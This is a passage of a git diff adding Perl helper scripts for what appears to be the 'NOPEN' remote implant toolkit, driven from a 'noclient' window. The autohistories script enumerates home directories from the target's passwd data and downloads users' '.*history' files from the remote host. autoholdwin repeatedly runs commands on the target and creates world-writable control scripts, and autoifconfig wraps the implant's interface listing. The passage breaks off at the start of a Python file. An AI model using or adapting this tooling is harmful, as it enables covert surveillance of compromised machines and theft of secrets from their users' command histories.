+ "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + use File::Basename ; + $opdir = ".." unless (-e $nopen_mylog); + if ($opdir eq ".") { + $stdoutalso=1; + `mkdir -p $opetc $opdown $opbin $optmp`; + } + usage("bad option(s)") if (! Getopts( "hv" ) ) ; + $vertext = "$prog version $VER\n" ; + unless ($nopen_rhostname) { + $commandline=1; + $tmpdir = "/tmp" ; + $extrausage = "${COLOR_FAILURE} +$prog is the equivalent NOPEN command to run in a noclient window.$COLOR_NORMAL +" ; + $prog = basename $0 ; + } + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + $prog +$extrausage + +When run in a noclient window, -gs.helpall calls autohelpall. + +autohelpall looks through all NOPEN gs.* scripts in $opetc or +../etc (or ./ if those do not exist) and determines which have matching +auto* scripts. For those that do, the ones that have usage statements +available are executed with the \"-h\" option, or with \"-H\" if that +appears to give longer usage. + +" ; + unless (-w $opetc and -d _) { + if (-r "../etc" and -d _) { + $opetc = "../etc" ; + } else { + $opetc = "." ; + } + } + $nohist="-nohist " ; + $lsh = "-lsh " ; + $tee = ">> T:" ; + usage() if ($opt_v or $opt_h ); + $socket = pilotstart(quiet); +} #myinit + +sub getline { + # globals used/changed: $lastlinetime + my ($gotone,$linetime,$line,$lineoutput,$skipone) = () ; + while ($line = ) { +# next if ($line =~ /DBG\d*:/) ; + $line =~ s/\r//g ; # Get rid of ^M's + if ($line =~ /(\d\d\-\d\d\-\d\d\ \d\d\:\d\d\:\d\d)\sGMT\]\[.*\-\>/) { + if ($linetime) { + # 2nd match for this is next block so rewind a line and return + my $seekval = -1 * length($line) ; + my $err = seek(IN,$seekval,1) ; + $line = $prevline ; + last ; + } else { + $linetime = $line ; + } + } + if (!$gotone and $line =~ /^\[(.*)\]\s*$/ and $skipone++) { + $gotone = $1 ; + } + $lineoutput .= $line ; + my $prevline = $line ; + } + return ($linetime,$gotone,$lineoutput); +} + +sub printboth { + local($_) = (@_) ; + print OUT ; + print STDOUT if $stdoutalso ; + print OUTF if $outfile ; +} diff --git a/Linux/etc/autohistories b/Linux/etc/autohistories new file mode 100755 index 0000000..9046053 --- /dev/null +++ b/Linux/etc/autohistories @@ -0,0 +1,323 @@ +#!/usr/bin/env perl +## +$VER="1.1.1.6" ; + +# This can be called either via its gs.auto* script or via a require +# statement in another auto* script already in play. That script must +# set @ARGV and already have the $socket open to a NOPEN client's autoport. +# +# NOTE THOUGH: After one require (say of this script), another one of another +# similarly equipped script really confuses things...local data +# is not so local. + +# nopen seems happier with stderr in lsh runs +#select STDERR ; +$| = 1 ; +myinit() ; +unlink("$optmp/.historiesout"); +#($output,$nopenlines,@output) = doit(""); +($output,$nopenlines,@output) = nopenlss("-UQ",$hardhomedirs,$homedirs); +my @moredo=(); +my $v=""; +$v = " -v " unless $skipgets ; # pop up window when getting first several +my (%skipoutput,$skipoutput)=(); +# $spaces must be space-dots since echo squishes multiple spaces into one. +my $spaces = " . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . "; +my ($numviewed,%doneit,$thereyet,$matchline) = (0); +# If @output contains duplicate lines (say we did -ls / / ) this eliminates them. +@output = uniqify_array(@output); +if ($pastemethod) { + my @slimoutput =(); + foreach (@output) { + my ($perms,$num,$user,$group,$size,$monstr,$mday,$hm,$y,$file) = split; + my $line = sprintf('%-10s %-10s %8d %3s %2d %5s %4d %-27s', + $user,$group,$size,$monstr,$mday,$hm,$y,$file); +dbg(" my ($perms,$num,$user,$group,$size,$monstr,$mday,$hm,$y,$file) = split;\n". + "line=$line="); + push (@slimoutput,$line); + } + my $prompt = + join("\n",@slimoutput)."\n\n\n". + "Choose the oldest history file above which you want, triple-click that line and\n". + "paste it here. $prog will then get it and all those more recent.\n\n". + "(Enter nothing to get them all, or \"ABORT\" to abort.)\n\n". + "Choose: "; +# $prompt =~ s/ +/ /g; + ($ans,$matchline) = mygetinput($prompt); + chomp($matchline); + mydie("User aborted") if ($matchline eq "ABORT"); + $matchline =~ s/ +/ /g; + $matchline =~ s/\s+$//; +} +foreach (@output) { + my ($type,$length) = /^(.)\S*\s*\S*\s*\S*\s*\S*\s*(\d*)/ ; + ($file) = /:\d\d\s+\d{4} (\/.*)/ ; + next if $doneit{$file}++; + my $space = " "; + $space = "" if length($file) % 2 ; + my $tab = substr($spaces,0,38-length($file.$space)); + my ($stampsecs,$monstr,$mday,$hr,$min,$year) = epochseconds($_); + if ($cutofftime) { +#dbg("(stampsecs,monstr,mday,hr,min,year)=($stampsecs,$monstr,$mday,$hr,$min,$year)"); + if ($stampsecs < $cutofftime) { + my $more = sprintf(" . $file$space$tab(too old--$monstr %02d $hr:$min $year)\n",$mday); + $skipoutput{$stampsecs} .= $more; + next; + } + } elsif ($pastemethod and !$thereyet) { + my $thisline = $_; + chomp($thisline); + $thisline =~ s/ +/ /g; +dbg("Comparing =$thisline=$matchline="); + next unless $thisline =~ /$matchline$/; + $thereyet++; + } + next unless $type eq "-" ; # skip links/dirs/etc + if ($maxlength and $length > $maxlength) { + $skipoutput{$stampsecs} .= " . $file$space$tab(too long, $length > $maxlength)\n"; + next ; + } + if ($v and $maxviewed <= $numviewed) { + progprint("Only popping up first $maxviewed windows...just downloading the rest",$COLOR_FAILURE); + $v = "" ; + } + unless ($gotfile{$file}++) { + $numviewed++ ; + push(@moredo,"-get$v $file"); + } +}#foreach @output +# Now sort %skipoutput +foreach (sort by_num keys %skipoutput) { + $skipoutput .= $skipoutput{$_}; +} +progprint("Skipping these files (newest shown last):\n$COLOR_FAILURE\n$skipoutput") + if $skipoutput; +unless ($skipgets) { + if (@moredo) { + $viewnomore = 0; + my $abort = pauseit("Above is the sorted list of histories in $homedirs") ; + unless ($abort) { + while (@moredo) { + $cmd = shift(@moredo); + my ($file) = $cmd =~/(\/.*)/; + my ($viewit) = $cmd =~ s/( -v )/ /; + $viewit=0 if $viewnomore; + my ($output,$nopenlines,@output) = doit($cmd); + my ($localfile) = $output =~ / -. (\/.*)[\r\n]*/ ; + filepopup($localfile,"gotoend") if $viewit; + last unless @moredo; + last if pauseit("Just got $file"); + } + } + } else { + if ($pastemethod) { + dolocalecho("\n${COLOR_FAILURE}\n". + "Above${COLOR_NORMAL} is the sorted list of histories in $homedirs,\n\n". + "${COLOR_FAILURE}BUT NONE NEWER THAN YOUR CHOICE IS A FILE". + "${COLOR_NORMAL}\n" + ); + } else { + dolocalecho("\n${COLOR_FAILURE}\n". + "Above${COLOR_NORMAL} is the sorted list of histories in $homedirs,\n\n". + "${COLOR_FAILURE}BUT NONE IS UNDER ${COLOR_FAILURE}$hoursold HOURS OLD". + "${COLOR_NORMAL}\n" + ); + } + } +} +# End with true value as we require this script elsewhere. +1; + +sub pauseit { + return unless $pausing; + my ($ans) = mygetinput("$_[0]\n\n". + "Choose one (single lowercase letter is fine):\n". + "\n". + " c)ontinue,\n". + " d)o remaining history pulls with no prompts,\n". + " p)roceed with remaining history pulls with no further prompt AND without popping any up, or\n". + " a)bort remaining history pulls\n". + "\n". + "(choose one of c/p/d/a)","C","P","D","A"); + $pausing=0 if ($ans eq "p" or $ans eq "d"); + $viewnomore=1 if ($ans eq "p"); + return 1 if ($ans eq "a"); + return 0; +}#pauseit + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs histories @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs histories" ; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless $nopen_rhostname; + } + clearallopts(); + mydie("bad option(s)") if (! Getopts( "hvl:LRpa:m:xP" ) ) ; + $pause = "# "; + $pausing = $opt_p ; + my $remove = "@ARGV" ; + $gsoptions =~ s/$remove// ; + $fromsurvey=0; + foreach (@ARGV) { + if (/fromsurvey/) { + $fromsurvey=1; + next; + } + } + $hardhomedirs = " /.*history /root/.*history /home/*/.*history " ; + $hardhomedirsonly = " / /root /home/* " ; + + # Defaults + # how old to look back + $defhoursold = 240 ; + # How long to retrieve in bytes + $defmaxlength = 100000 ; + # How many to popup + $defmaxviewed = 20 ; + + # look where for histories + $homedirfile = "$optmp/homedirs.$nopen_rhostname" ; + if (! -e "$homedirfile" or $opt_R) { + # Parse all retrieved passwd files for user dirs, then save them to disk + # and read them back. + my ($userlist,@dodirs) = parseuserdirs($nopen_rhostname,2000,"autohistories"); + if (open(OUT2,"> $homedirfile")) { + print OUT2 "@dodirs\n"; + close(OUT2); + } else { + mydie("Unable to open > $homedirfile"); + } + } + mydie("Unable to open < $homedirfile") unless (open(IN2,"< $homedirfile")) ; + chomp($homedirs = ) ; + close(IN2) ; + @dodirs = uniqify_array (split(/\s+/,$homedirs)); + + $homedirs = " " ; + $homedirsonly = " " ; + foreach (@dodirs) { + $homedirs .= "$_/.*history " unless (/^\/dev/ or "$hardhomedirs$homedirs" =~ / $_\/.*history /) ; + $homedirsonly .= "$_ " unless (/^\/dev/ or "$hardhomedirsonly$homedirsonly" =~ / $_ /) ; + } + $homedirs =~ s/ / /g ; + $homedirs =~ s/^\s*(.*)\s*$/\1/g ; + $homedirs =~ s/\/\//\//g ; + $homedirsonly =~ s/ / /g ; + $homedirsonly =~ s/^\s*(.*)\s*$/\1/g ; + $homedirsonly =~ s/\/\//\//g ; + if (open(OUT2,"> $homedirfile")) { + print OUT2 "$homedirsonly\n"; + close(OUT2); + } else { + mydie("Unable to open > $homedirfile second time"); + } + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $gsusagetext="Usage: $prog [options] [ dir [dir2] ... ] + +NOTE: $prog can take quite a while when the passwd file is large. + +$prog lists all \".*history\" files in user directories, sorted +by time, then retrieves any under $defhoursold (or -a#) hours old. With +the options below, the user can pause between and/or pop up each file. + +The directories examined always include $defhomedirs and will +also include any other directory locations found in the system's +/etc/passwd file already retrieved. If a \"dir\" is provided (must start +with \"/\") it is also searched (this time and in future uses of +autohistories for this host). Currently for $nopen_rhostname, these +directories will be searched for \".*history\" files: + + $hardhomedirsonly $homedirsonly + +OPTIONS + + -h show this usage statement + -a # files less than this many hours old are retrieved [$defhoursold] + (use 0 to get all) + -P you are shown all histories, you choose oldest one you want + -l # maximum length of file to retrieve [$defmaxlength] + (use 0 to get any length) + -x pops up the first several files retrieved (see -m) in separate + windows (at bottom of file) [default does not] + -m # maximum number of retrieved files to pop-up [$defmaxviewed] + -p pause between each history's -get -v [default does not] + -L does NOT \"-get -v\" any of the files - only shows listing + -R reset home directories for this host to: $defhomedirs + +"; + usage() if ($opt_h or $opt_v) ; + # how old histories + $hoursold = $defhoursold ; + $hoursold = int($opt_a) if (defined $opt_a and $opt_a >= 0 and ($opt_a == int($opt_a))) ; + $pastemethod = $opt_P; + mydie("-a and -P cannot be used together") if $opt_a and $opt_P; + # Get timezone offset if we can (and want to) + if ($opt_a and -e "$opdown/hostinfo.$nopen_rhostname") { + my $oldone = $hoursold; + if (open(IN2,"<$opdown/hostinfo.$nopen_rhostname")) { + while () { + next unless /^Box Offset: (.*)/ ; + # Val here is in minutes + $val = $1 ; + $sign = 1 ; + if ($val < 0) { + $val = -1 * $val ; + $sign = -1 ; + } +#print "DBG: $sign ... $_ ... $val ".$val%60; + $hoursold -= $sign * int($val / 60) ; +#dbg("oldone=$oldone sign=$sign val=$val Found in hostinfo.$nopen_rhostname:$_"); + last; + } + close(IN2) ; + $hoursold = $oldone if $hoursold < 0; + } + } + # $cutofftime in epoch seconds + $cutofftime = 0 ; + if ($opt_a) { + $cutofftime = Time::Local::timegm(gmtime()) ; + # TODO: This is using local time + # change it to use GMT but also to offset the cutofftime based on + # they guys time info in hostinfo* + $cutofftime -= $hoursold * 60 * 60 ; # subtract N hours (in seconds) + } + + #dbg("hoursold=$hoursold cutofftime=$cutofftime gmtime()=".Time::Local::timegm(gmtime()) ); + # how many lines per file + $maxlength = $defmaxlength ; + $maxlength = $opt_l if (defined $opt_l and $opt_l >= 0 and ($opt_l == int($opt_l))) ; + $maxviewed = $defmaxviewed ; + $maxviewed = $opt_m if (defined $opt_m and $opt_m >= 0 and ($opt_m == int($opt_m))) ; + $maxviewed = 0 unless $opt_x; + $skipgets = 1 if $opt_L ; + %nummon = (Jan, "00", Feb, "01", Mar, "02", Apr, "03", + May, "04", Jun, "05", Jul, "06", Aug, "07", + Sep, "08", Oct, "09", Nov, "10", Dec, "11",); + + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +} #myinit + diff --git a/Linux/etc/autoholdwin b/Linux/etc/autoholdwin new file mode 100755 index 0000000..ca6e55a --- /dev/null +++ b/Linux/etc/autoholdwin @@ -0,0 +1,440 @@ +#!/usr/bin/env perl +use Time::HiRes qw( usleep ualarm gettimeofday tv_interval ); + +# +# INPUT: $ARGV[]: [ ### [command] ] +# Puts this noclient window into loop: Execute command every ### minutes. +# ### defaults to 3 +# command defaults to -w +# +$VER="2.0.0.8" ; +$ext = $$ ; # limits likelihood of concurrent autoholdwindow's colliding + # BUT: still possible. + # not too likely to happen. +$| = 1; + +# Our flag variable for controlling signal-based stoppage. +$die = 0 ; + +my ($oneperline,$delayunit,$delaysecs,$delaymin,$delaystr) = (); +my @commands = (); + +myinit() ; +dbg("AFT2ARGV=(@ARGV) commands=(@commands)"); + +holdwindow($delaysecs,$delayunit,$delaystr,@commands); + +# End with true value as we require this script elsewhere. +1; + +sub holdwindow { + # Given a command, possibly with -nohist lines included, and a timing value + # specified in seconds, execute the command every specified interval. We also + # pass in the original units for the interval and a string specifying the + # original interval. + local ($interval,$unit,$intervalstr,@cmds) = (@_); + my $printonce = 0; + my ($holdfile,$manmore) = (); + my $cmdstring = join(" :: ", @cmds); + $cmdstring =~ s/\n//g; + $cmdstring =~ s/\-nohist//g; + $cmdstring =~ s/^\s*//g; + if ($popitup) { + unlink("$optmp/popup.tmp"); + mydie("Cannot unlink $optmp/popup.tmp") + if (-e "$optmp/popup.tmp"); + my $title = "-popup $nopen_hostonly ".gmtime(); + $title .= ": $cmdstring" if length $cmdstring < 40; + $title =~ s/ /_/g; + $title =~ s,([;\s]),\\\\\\\1,g; + #$title =~ s,([;]),\\\\\\\1,g; + if ($cmdstring =~ /^(-lsh ){0,1}man /) { + $manmore = "-lsh mv $optmp/popup.tmp $optmp/popup.tmp.man ; sed \"s/.//g\" $optmp/popup.tmp.man > $optmp/popup.tmp"; +# $manmore = "mv $optmp/popup.tmp $optmp/popup.tmp.man ; sed \"s/.//g\" $optmp/popup.tmp.man > $optmp/popup.tmp"; + } + $popitup = "-nohist -lsh cd $optmp ; 1x -title \"$title\" -geometry 112x60-0+0 -e \"view popup.tmp\"\n"; + #could not get system(popitup) to work.... + #$popitup = "cd $optmp ; 1x -title \"$title\" -geometry 112x60-0+0 -e \"view popup.tmp\"\n"; + dbg("title=$title= popitup=$popitup="); +# } else { +# $popitup = ""; +# if (-e "$optmp/holding.$nopen_rhostname.$nopen_mypid") { +# mywarn("\n\nWill execute \"$command\" every $delaystr, in perpetuity. ${howtostop}un one of the following locally to stop it:\n\n +# $opbin/unhold \t# stops one active $prog (at random) +# $opbin/unhold $$ \t# stops this particular holdwindow only +# $opbin/unhold all \t# stops ALL active holdwindows (on all servers) + +#"); +# } else { +# $secs = ($delaymin * 60) - 1; +# } + } + if (! -x "$opbin/unhold" and open(OUT2,"> $opbin/unhold")) { + print OUT2 "#!/bin/sh\n". + "EXT=bin\n". + "[ \"\$1\" ] && EXT=\$1\n". + "touch $optmp/unhold.\$EXT\n"; + close(OUT2); + chmod(0777,"$opbin/unhold"); + } + if (! -x "$opbin/nexthold" and open(OUT2,"> $opbin/nexthold")) { + print OUT2 "#!/bin/sh\n". + "EXT=bin\n". + "[ \"\$1\" ] && EXT=\$1\n". + "touch $optmp/nexthold.\$EXT\n"; + close(OUT2); + chmod(0777,"$opbin/nexthold"); + } + + my @marks = ("/", + "-", + "\\\\", + "\|", + "/", + "-", + "\\\\", + "\|", + ); + + + dbg("in autoholdwin holdwindow, cmds=$cmdstring= interval=$interval= unit=$unit= intervalstr=$intervalstr="); + + # Run each command passed to us before showing the holdwindow banner, and only + # if this is our first iteration through the interval. + + my ($bannermore,$whystop,$bannercount) = (); + # Countdown goes direct to our xterm's initial tty, not the tty for NOPEN and our + # script.$$, but the shell before that, so this does not end up in scripted window + my %gottty = (); + chomp(my $devtty = `tty`); + # This is our scripted window's tty, do not want this one + my ($wrongtty) = $devtty =~ m,(pts/\d+),; + + my ($devtty,undef,@devtty) = doit("-lsh pschain | egrep -v \"grep|$wrongtty\" | grep script"); +# chomp(my $devtty = `pschain 2>&1 | egrep -v \"grep|$wrongtty\" | grep script"`); +#mydie("devtty=$devtty="); + foreach (split(/\n/,$devtty)) { + next unless m,(pts/\d+),; + $gottty{$1}++; + } + @devtty = sort by_num keys %gottty; + $devtty = "/dev/$devtty[0]"; + + `echo -e "$COLOR_NORMAL\n" >> $devtty`; + unless ($popitup) { + + ($bannermore,$whystop,$bannercount) = + #my @yada= + ("NEW OPTIONS!\n". + "NEW OPTIONS!$COLOR_NOTE (and you'll see this long output just once, ever)$COLOR_FAILURE\n\n". + "NEW OPTIONS!\n\n". + " Use -q(quiet) to only show the pastables block just this once.\n\n\n$COLOR_NOTE". + "NEW:$COLOR_NORMAL The \"nexthold\" feature, similar to unhold, loops this countdown.\n". + $COLOR_FAILURE. + " $opbin/nexthold $$ \t# loops this particular holdwindow only\n". + " $opbin/nexthold all \t# loops ALL active holdwindows (on all servers)\n". + $COLOR_NOTE. + "Also:$COLOR_NORMAL Both \"unhold\" and \"nexthold\" can be run with no pid at all:\n". + $COLOR_FAILURE. + " $opbin/nexthold \t# loops one active holdwindow (one or more at random)\n". + " $opbin/unhold \t# stops one holdwindow (one or more at random)\n". + + "" + ); + } + + while (!$whystop and !$die) { + my $stoptime = time() + $interval; + # Repeat until told to stop + open(HOLDOUT,">>$optmp/popup.tmp") if ($popitup); + foreach my $cmd (@cmds) { + if ($popitup) { + print HOLDOUT "#" x 80 . "\n"; + print HOLDOUT "# $prog " . gmtime() . "GMT: Ran \"$cmd\" on $nopen_rhostname\n#\n"; + } + ($output,$nopenlines,@output) = doit("$cmd"); + print HOLDOUT $output if ($popitup); + } + close(HOLDOUT); + last if $popitup; + mywarn($bannermore. + $COLOR_NORMAL. + +#"DBG: +#msecs=$msecs= +#tty=$tty= +#tty=$devtty= +#". + " Running \"$cmdstring\" every $intervalstr, to stop, use:\n". + $COLOR_FAILURE. + " $opbin/unhold $$ \t# stops this particular holdwindow\n". + " $opbin/unhold all \t# stops ALL active holdwindows\n". + $COLOR_NORMAL. + " To force next iteration of \"$cmdstring\", use:\n". + $COLOR_FAILURE. + " $opbin/nexthold $$ \t# loops this particular holdwindow only\n". + " $opbin/nexthold all \t# loops ALL active holdwindows (on all servers)", + "QUIET") if (!$quiet or $bannercount++ < 1); + + $bannermore = ""; # Show that bit just first time in + + my $quietmore = $quiet ? "Quiet holdwindow ( unhold $$ OR nexthold $$ ) " : ""; + my $spaces = " " x 80; + `echo -en "\r$spaces" >> $devtty`; + my $markcounter = 0; + `touch $optmp/holding.$nopen_rhostname.$nopen_mypid 2>/dev/null`; + while (time() < $stoptime and !$whystop and !$die) { + $mark = $marks[$markcounter % @marks]; + $secsleft=sprintf("%-7d",int($stoptime - time())); + `echo -en "\r${quietmore}Time Left: $secsleft $mark\b" >> $devtty`; + # Only need any one of these sleeps, we mark time accurately via + # $stoptime and time(). + #sleep 1; + #`usleep $msecs`; + usleep $msecs; + $markcounter++; + #dbg("in autoholdwin holdwindow, secs=$secsleft= interval=$interval="); + foreach $holdfile (@unholds,@nextholds) { + if (-e $holdfile) { + $whystop = $holdfile; + `echo -en "\r$spaces\n\n" >> $devtty`; + last; + } + } + } + my $what = "Stopped"; + if ($whystop) { + if ($whystop =~ /nexthold/) { + $what = "Looped"; + } + mywarn("\n\n$what via $whystop" + #DBG: .`ls -al /current/tmp/*hold*` + ); + sleep 2 if ($whystop =~ m,/.*hold.all,); + } + if ($what eq "Looped") { + unlink($whystop); + $whystop = ""; + } + unlink(@unholds); #just in case + unlink("$optmp/holding.$nopen_rhostname.$nopen_mypid"); + } + if ($popitup) { + # doit($manmore) if ($manmore); + doit($popitup); + exit; + offerabort("About to call system($popitup)"); + if (fork()) { + fork() and exit; + close(STDOUT); + close(STDIN); + close(STDERR); + system($popitup); + exit; + } + } +} + +sub catch_zap { + my $signame = shift; + mywarn("$prog"."[$$]: received SIG $signame. Aborting") ; + $die++; + $whystop = "SIG $signame"; +} # catch_zap + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + # $calleddirect is set if + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs holdwindow @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs holdwindow" ; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless $nopen_rhostname; + } + $prog = basename($0) ; + if ($prog =~ /popup/) { + $shortprog = "popup"; + $popitup = 1; + } else { + $shortprog = "holdwindow"; + $popitup = 0; + } + $prog = "-gs $shortprog" ; + + clearallopts(); + mydie("bad option(s)") if (!Getopts("hvqm:p")); + + # NOTE: Leaving -m msecs option undocumented for now. Could be risky with very low? + + $msecs = int($opt_m); + # do not leave this 0, probably needs to be > half a second? + $msecs ++ unless $msecs; + $msecs = 1000000 unless ($msecs > 100000); + + # Pop-up mode + $popupmode = ($opt_p or $0 =~ popup) ? 1 : 0; + + # Our default values. + $defcommand = "-w" ; + $defdelay = "3m" ; + $delaymin = 3 ; + + # Other args + $quiet = $opt_q ? 2 : 0; + + $gsusagetext= " +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + setusagetext(); + usage() if ($opt_h or $opt_v) ; + $socket = pilotstart(quiet) unless $socket; + + $SIG{INT} = \&catch_zap; + $SIG{TERM} = \&catch_zap; + + @unholds = ("$optmp/unhold.bin", + "$optmp/unhold", + "$optmp/unhold.", + "$optmp/unhold.all", + "$optmp/unhold.$nopen_rhostname.quiet", + "$optmp/unhold.$nopen_rhostname", + "$optmp/unhold.$$", + "$optmp/unhold.$nopen_mypid", + ); + @nextholds = ("$optmp/nexthold.bin", + "$optmp/nexthold", + "$optmp/nexthold.", + "$optmp/nexthold.all", + "$optmp/nexthold.$nopen_rhostname.quiet", + "$optmp/nexthold.$nopen_rhostname", + "$optmp/nexthold.$$", + "$optmp/nexthold.$nopen_mypid", + ); + + unlink(@unholds,@nextholds) ; # just in case + + dbg("BEF ARGV=(@ARGV)"); + my (@args,$argpos,$gottimearg,%mydos) = (); + for (my $pos=0;$pos<@ARGV;$pos++) { + if ($ARGV[$pos] eq "::") { + $oneperline++; + $argpos++; + next; + } + # We take just the first thing that looks like a time. + # Laziness: Allows both "-hw w 5s" and "-hw 5s w". + # while not disallowing "-hw 5s w ; echo 5s" + if (!$popitup and !$delaysecs and ($delaysecs,$delayunit) = $ARGV[$pos] =~ /^\s*(\d+)([hms]{0,1})$/i) { + $delayunit = "m" unless $delayunit; + $delaysecs = strtoseconds($delaysecs.lc $delayunit); + mydie("INTERVAL ($ARGV[$pos]) must be positive") + if ($delaysecs <= 0); + next; + } + if ($args[$argpos] eq "autodo") { + mydie("autodo compatibility NOT YET IMPLEMENTED"); + } else { + $args[$argpos] .= " $ARGV[$pos]"; + } + } + dbg("args = ( +".join("\n",@args)." +)"); + + $delaysecs = strtoseconds($defdelay) unless ($delaysecs > 0); + dbg("in autoholdwin myinit, delaysecs=$delaysecs= delayunit=$delayunit="); + + $delaystr = secstostr($delaysecs); + $delaymin = $delaysecs / 60 ; + dbg("in autoholdwin holdwindow, args=@args= ARGV=@ARGV= oneperline=$oneperline="); + while (@args) { + my $arg = shift(@args) ; + mydie("Cannot have -holdwindow or -popup as an argument") + if ($arg =~ /-(gs ){0,1}holdwindow/ or + $arg =~ /-(gs ){0,1}popup/); + push(@commands,$arg); +next; + if ($oneperline) { + my $command = "$arg -nohist\n"; + push(@commands,$command); + } else { + push(@commands,$arg); + } + } + push(@commands,$defcommand) if !(scalar @commands); + #dbg("in autoholdwin myinit, commands=@commands="); +dbg("AFT ARGV=(@ARGV) commands=(@commands)"); + +} #myinit + +sub setusagetext { + $gsusagetext = " +Usage: -holdwindow [OPTIONS] [INTERVAL] [COMMAND(S)] + -popup command + +OPTIONS + -v/-h prints $prog version / usage statement + -q Quiet (you only get ONE banner of unhold statements, + default is one per time interval. + +When $prog is used, the COMMAND(S) are executed once every INTERVAL +(INTERVAL format: [\#h]\#[m][\#s]) until a valid unhold command for that +instance is executed locally in another window (or by another process). +You are shown a banner of valid unhold commands (triple clickable). + +The INTERVAL, if provided, can be in the form [\#h]\#[m][\#s]. The time +INTERVAL defaults to $defdelay, and the unit of time defaults to minutes if +only a value is given. + +NOTE: The delay is from the end of one execution to the beginning of the +other. The time the command takes to execute will mean the run time of the +command is a bit more than the delay from the last one. + +POPUP MODE + +If called via -popup, execution is done once, but its output is saved to +a temporary file which is then popped up at the top right corner of your +screen opened with \"view\" (vi in read only mode). The delay, if any, is +ignored in popup mode. (-pop is also an alias for -gs popup.) + +The aliases \"-hw\" and \"-holdwindow\" are the same as \"-gs holdwindow\", and +\"-hq\" is an alias for \"-gs holdwindow -q\". + +COMMAND SYNTAX + +The default COMMAND used is \"$defcommand\". The COMMAND(S) given can be a sqeuence +of several commands, separating unix target commands with a \";\", but it can +also contain one or more builtins if they are \" :: \" delimited from any other +commands. E.g., \"-holdwindow -ls /tmp :: -w :: w; date\". + +MISC + +You are given pastables (once per hold loop, unless -q/quiet mode is used) +that allow you to manipulate this or other holdwindows. In any local window, +run \"nexthold\" to loop a window--that is, cause the countdown to expire +and the next loop to run. + +The builtin may be a call to another NOGS script. + +Usage: -holdwindow [OPTIONS] [INTERVAL] [COMMAND(S)] + -popup command + +"; +} diff --git a/Linux/etc/autoifconfig b/Linux/etc/autoifconfig new file mode 100755 index 0000000..d9087b1 --- /dev/null +++ b/Linux/etc/autoifconfig @@ -0,0 +1,117 @@ +#!/usr/bin/env perl +## +$VER="1.0.0.1"; + +$| = 1 ; +($scriptcount, $functioncount) = (); +myinit() ; + +if ($nopen_serverinfo =~ /linux 2.4/i +#TESTING: or $nopen_serverinfo =~ /Linux 2.6.18-194.el5PAE \#1 SMP Tue Mar 16 22:00:21 EDT 2010 i686/i + ) { + progprint($COLOR_FAILURE."\n\n\n # NOPEN $serverver cannot run -ifconfig on:\n\n". + $COLOR_NORMAL. + " $nopen_serverinfo, try:\n\n ifconfig -a"); +} else { + my ($output) = doit("\\-ifconfig"); + if ($ifconfig_outfile) { + if ($ifconfig_append) { + writefile("APPEND",$ifconfig_outfile,$output); + } else { + writefile($ifconfig_outfile,$output); + } + } +} + + +# Called via do so must end with 1; +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0 unless $calledviarequire; + $stoiccmd = "called as: -gs ifconfig @ARGV"; + if ($willautoport and $socket) { + $stoiccmd = "in $prog, called as: ifconfig(@ARGV)"; + dbg("via require autoifconfig ARGV=( +".join("\n",@ARGV)." +) prog=$prog"); +# progprint("$prog called -gs ifconfig @ARGV"); + $calledviarequire = 1; + } else { + $prog = "-gs ifconfig"; + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $vertext = "$prog version $VER\n" ; + } + clearallopts(); + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + my $origoptions = "@ARGV"; + mydie("bad option(s)") if (! Getopts( "hvaf:" ) ) ; + + $ifconfig_outfile = $opt_f; + $ifconfig_append = $opt_a; + + ########################################################################### + # Set strings used in usage before calling it + ########################################################################### + + + + ########################################################################### + # PROCESS ARGUMENTS + ########################################################################### + + + usage() if ($opt_h or $opt_v); + + + # Connect to autoport, we need status and more interactively. + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; + + ## ERROR CHECKING OF OPTS + +} + +sub setusagetexts { + # Separate long usage strings as separate function + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=ifconfig\" is used. + +"; + my $newname = $opt_N unless ($opt_N =~ /[\/\s]/); + $newname = "NEWNAME" unless $newname; + + $gsusagetext=" +Usage: $prog [INTERFACE] + +$prog is a wrapper to the NOPEN builtin -ifconfig. If you are on any +Linux 2.4 kernel, $prog will refuse to run -ifconfig for you, otherwise +it does. + +OPTIONS + + -f FILE Save output to file + -a Append when saving to file + +Usage: $prog [INTERFACE] + +"; +}#setusagetexts diff --git a/Linux/etc/autoifconfig.py b/Linux/etc/autoifconfig.py new file mode 100755 index 0000000..0d769d4 --- /dev/null +++ b/Linux/etc/autoifconfig.py @@ -0,0 +1,150 @@ +#!/bin/env python + +# N+1.x.x.x is the Python version of the N.y.y.y Perl 